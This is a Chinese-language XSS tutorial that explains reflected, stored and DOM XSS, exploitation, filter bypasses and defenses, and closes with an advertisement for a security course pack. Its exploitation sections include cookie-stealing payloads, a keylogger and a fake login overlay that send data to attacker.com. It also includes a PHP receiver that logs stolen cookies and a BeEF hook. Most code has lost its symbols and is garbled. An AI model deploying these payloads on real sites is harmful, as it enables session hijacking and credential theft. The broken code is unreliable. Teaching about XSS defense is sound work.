ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

XSS跨站脚本攻击完全指南:从原理到实战的保姆级教程,一文搞懂XSS!

XSS跨站脚本攻击完全指南:从原理到实战的保姆级教程,一文搞懂XSS! 一、什么是XSSXSSCross-Site Scripting跨站脚本攻击是指攻击者向Web页面中注入恶意的客户端脚本代码如JavaScript、HTML当其他用户访问该页面时恶意脚本在用户浏览器中执行从而实现Cookie窃取、会话劫持、钓鱼欺诈等攻击目的。之所以缩写为XSS而不是CSS是为了与层叠样式表CSS区分。XSS的危害危害类型具体影响实例说明Cookie窃取盗取用户Session会话获取Cookie实现免密登录会话劫持冒充用户身份操作利用Session进行转账、改密码键盘记录记录用户输入内容窃取密码、银行卡号钓鱼欺诈伪造登录页面骗取密码弹出伪造的登录框挂马攻击向页面植入木马利用iframe挂马XSS蠕虫自动传播的XSS攻击跨站脚本蠕虫自动传播权限提升结合CSRF提权攻击利用XSS完成管理员操作二、XSS原理详解存在漏洞的代码?php// 直接输出用户输入无任何过滤$name$_GET[name];echoh1欢迎你.$name./h1;?正常访问http://example.com/welcome.php?name张三页面输出h1欢迎你张三/h1注入过程攻击者访问http://example.com/welcome.php?namescriptalert(XSS)/script页面输出h1欢迎你scriptalert(XSS)/script/h1浏览器解析到script标签执行JavaScript代码弹出XSS弹窗。三、XSS三大类型1. 反射型XSSReflected XSS恶意脚本通过URL参数传入服务器接收后直接输出到响应页面中需诱导用户点击恶意链接才能触发。攻击Payloadhttp://target.com/search.php?keywordscriptalert(document.cookie)/script -- 编码后 http://target.com/search.php?keyword%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E利用场景通常通过邮件、社交平台发送恶意链接诱导用户点击。2. 存储型XSSStored XSS恶意脚本被提交并存储在服务器端如数据库当其他用户访问包含恶意数据的页面时自动触发。这是危害最大的XSS类型。攻击场景在评论区、留言板、个人资料等输入框中插入恶意脚本。!-- 留言板存储型XSS --留言内容scriptnewImage().srchttp://attacker.com/steal.php?cookiedocument.cookie/script!-- 加载外部JS --留言内容scriptsrchttp://attacker.com/xss.js/script服务器端代码示例?php// 存储型XSS漏洞代码$comment$_POST[comment];// 直接存入数据库无过滤mysqli_query($conn,INSERT INTO comments (content) VALUES ($comment));// 输出评论时也无过滤$resultmysqli_query($conn,SELECT content FROM comments);while($rowmysqli_fetch_assoc($result)){echodiv classcomment.$row[content]./div;}?3. DOM型XSSDOM-based XSS恶意脚本不经过服务器完全在前端通过DOM操作注入执行。漏洞代码// 页面中使用innerHTML直接输出URL参数varhashlocation.hash.slice(1);document.getElementById(output).innerHTMLhash;// 访问http://target.com/page.html#img srcx onerroralert(1)// 触发XSS常见DOM XSS Sink// 1. innerHTMLelement.innerHTMLuserInput;// 2. document.writedocument.write(userInput);// 3. evaleval(userInput);// 4. setTimeout/setInterval字符串参数setTimeout(userInput,0);// 5. location赋值location.hrefuserInput;// 6. jQuery html()$(#div).html(userInput);四、XSS利用方式1. Cookie窃取最经典的XSS利用方式窃取用户Cookie实现会话劫持。// 基础Cookie窃取scriptnewImage().srchttp://attacker.com/steal.php?cookieencodeURIComponent(document.cookie);/script// 使用fetch APIscriptfetch(http://attacker.com/steal.php?cookiedocument.cookie);/script// 使用XMLHttpRequestscriptvarxhrnewXMLHttpRequest();xhr.open(GET,http://attacker.com/steal.php?cookiedocument.cookie,true);xhr.send();/script攻击者接收端?php// steal.php - 接收窃取的Cookie$cookie$_GET[cookie];$ip$_SERVER[REMOTE_ADDR];$timedate(Y-m-d H:i:s);// 记录到文件file_put_contents(cookies.txt,[$time] IP:$ipCookie:$cookie\n,FILE_APPEND);// 返回空白图片避免怀疑header(Content-Type: image/gif);echobase64_decode(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);?2. 键盘记录器// XSS键盘记录器scriptvarkeys;document.onkeypressfunction(e){varkeye.key;keyskey;// 每输入10个字符发送一次if(keys.length10){newImage().srchttp://attacker.com/log.php?dataencodeURIComponent(keys);keys;}};/script3. 钓鱼页面// 弹出伪造登录框窃取密码scriptvardivdocument.createElement(div);div.style.cssTextposition:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;;div.innerHTMLdiv stylemargin:200px auto;width:300px;background:white;padding:30px;border-radius:5px;h3会话已过期请重新登录/h3input typetext idusername placeholder用户名 stylewidth:100%;margin:5px 0;padding:10px;brinput typepassword idpassword placeholder密码 stylewidth:100%;margin:5px 0;padding:10px;brbutton onclickstealLogin() stylewidth:100%;padding:10px;background:#007bff;color:white;border:none;border-radius:3px;登录/button/div;document.body.appendChild(div);functionstealLogin(){varudocument.getElementById(username).value;varpdocument.getElementById(password).value;newImage().srchttp://attacker.com/steal.php?uupp;}/script4. BeEF框架利用BeEFBrowser Exploitation Framework是专业的XSS利用框架。# 安装BeEFgitclone https://github.com/beefproject/beef.gitcdbeef bundleinstall./beef# BeEF默认监听3000端口# Hook JS地址http://attacker:3000/hook.js# 在XSS注入点插入scriptsrchttp://attacker:3000/hook.js/script# 在BeEF控制台可以# - 查看浏览器信息# - 窃取Cookie# - 执行JS代码# - 进行内网端口扫描# - 截屏# - 挂载持久化后门五、XSS绕过技巧1. 大小写混写sCrIpTalert(1)/sCrIpTIMgsRcxoNeRrOralert(1)2. 编码绕过!-- HTML实体编码 --imgsrcxonerror#97;#108;#101;#114;#116;(1)!-- 十进制HTML实体编码 --imgsrcxonerror#x61;#x6c;#x65;#x72;#x74;(1)!-- JavaScript Unicode编码 --script\u0061\u006c\u0065\u0072\u0074(1)/script!-- Base64编码配合eval/atob --scripteval(atob(YWxlcnQoMSk))/script!-- data URI --scriptsrcdata:text/javascript;base64,YWxlcnQoMSk/script3. 标签替换!-- 过滤了script --imgsrcxonerroralert(1)svgonloadalert(1)bodyonloadalert(1)inputonfocusalert(1)autofocusdetailsopenontogglealert(1)marqueeonstartalert(1)!-- 过滤了onerror --imgsrcxonmouseoveralert(1)imgsrcxonclickalert(1)!-- 过滤了alert --scriptconfirm(1)/scriptscriptprompt(1)/scriptscriptwindow[alert](1)/scriptscripttop[alert](1)/scriptscriptself[atob(YWxlcnQ)](1)/script4. 空格/换行绕过!-- 使用/替代空格 --img/srcx/onerroralert(1)!-- 使用Tab(%09) --img%09srcx%09onerroralert(1)!-- 使用换行(%0a) --img%0asrcx%0aonerroralert(1)5. 闭合标签绕过!-- 双引号闭合 --scriptalert(1)/script!-- 单引号闭合 --scriptalert(1)/script!-- 无引号闭合 --scriptalert(1)/script6. 长度限制绕过!-- 使用外部JS文件 --scriptsrc//a.bc/script!-- 两个输入点拼接 --!-- 输入框1: script/* --!-- 输入框2: */alert(1)/script --六、XSS防御方案1. 输出编码核心防御?php// PHP htmlspecialchars编码echohtmlspecialchars($input,ENT_QUOTES,UTF-8);// 编码效果// → lt;// → gt;// → quot;// → #039;// → amp;?// JavaScript编码函数functionencodeForHTML(str){returnstr.replace(//g,amp;).replace(//g,lt;).replace(//g,gt;).replace(//g,quot;).replace(//g,#x27;).replace(/\//g,#x2F;);}// 根据输出上下文选择编码方式functionencodeForJS(str){returnstr.replace(/\\/g,\\\\).replace(//g,\\).replace(//g,\\).replace(/\n/g,\\n).replace(/\r/g,\\r);}2. HttpOnly Cookie?php// 设置HttpOnly标志防止JS读取Cookiesetcookie(session_id,$sessionId,[httponlytrue,// 禁止JS读取securetrue,// 仅HTTPS传输samesiteStrict// 防止CSRF]);?3. CSP内容安全策略# Nginx配置CSP add_header Content-Security-Policy default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data: https:; connect-src self; object-src none; frame-ancestors none; always;?php// PHP设置CSP头header(Content-Security-Policy: default-src self; script-src self; object-src none;);// 只允许同源脚本加载禁止内联脚本和外部域脚本?!-- HTML Meta标签设置CSP --metahttp-equivContent-Security-Policycontentdefault-src self; script-src self;4. 前端框架自动转义// React默认转义安全functionComponent({userInput}){returndiv{userInput}/div;// 自动HTML编码}// Vue默认转义安全templatediv{{userInput}}/div!--自动HTML编码--/template// 注意dangerouslySetInnerHTML和v-html是不安全的// Reactdiv dangerouslySetInnerHTML{{__html:userInput}}/// 危险// Vuediv v-htmluserInput/div// 危险5. 输入验证?php// 白名单验证if(!preg_match(/^[a-zA-Z0-9_\x{4e00}-\x{9fa5}]$/u,$input)){die(输入包含非法字符);}// 限制输入长度if(strlen($input)100){$inputsubstr($input,0,100);}?七、XSS实战案例案例一评论区存储型XSS# 1. 在评论区留言留言内容scriptdocument.locationhttp://attacker.com/steal.php?cdocument.cookie/script# 2. 等待管理员查看评论# 管理员访问评论页面时Cookie被发送到攻击者服务器# 3. 攻击者收到Cookie# steal.php记录[2026-10-06] Cookie: PHPSESSIDabc123...# 4. 使用Cookie劫持管理员会话# 在浏览器中替换Cookie访问后台案例二DOM型XSS# 目标页面代码# scriptdocument.getElementById(content).innerHTML location.hash.slice(1)/script# 构造恶意URLhttp://target.com/page.html#img srcx onerrornew Image().srchttp://attacker.com/?cdocument.cookie# 短链接隐藏Payloadhttp://bit.ly/abc123# 发送给目标用户用户点击后Cookie被窃取八、XSS检测工具# XSStrike - 专业XSS扫描工具python3 xsstrike.py-uhttp://target.com/search?qtest# OWASP ZAP - 综合Web漏洞扫描zap-cli quick-scan http://target.com# XSSer - 自动化XSS注入工具xsser--urlhttp://target.com/search?qtest--auto# Burp Suite Professional# 使用Scanner功能自动检测XSS漏洞# 浏览器插件# XSS Rat / XSS Inspector / PwnFox总结XSS是Web安全中最常见且危害巨大的漏洞类型攻击面广、利用方式灵活。本文从XSS原理、三大类型、利用方式、绕过技巧到防御方案进行了系统讲解建议结合DVWA、XSS挑战平台进行实战练习。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源————————————————
返回列表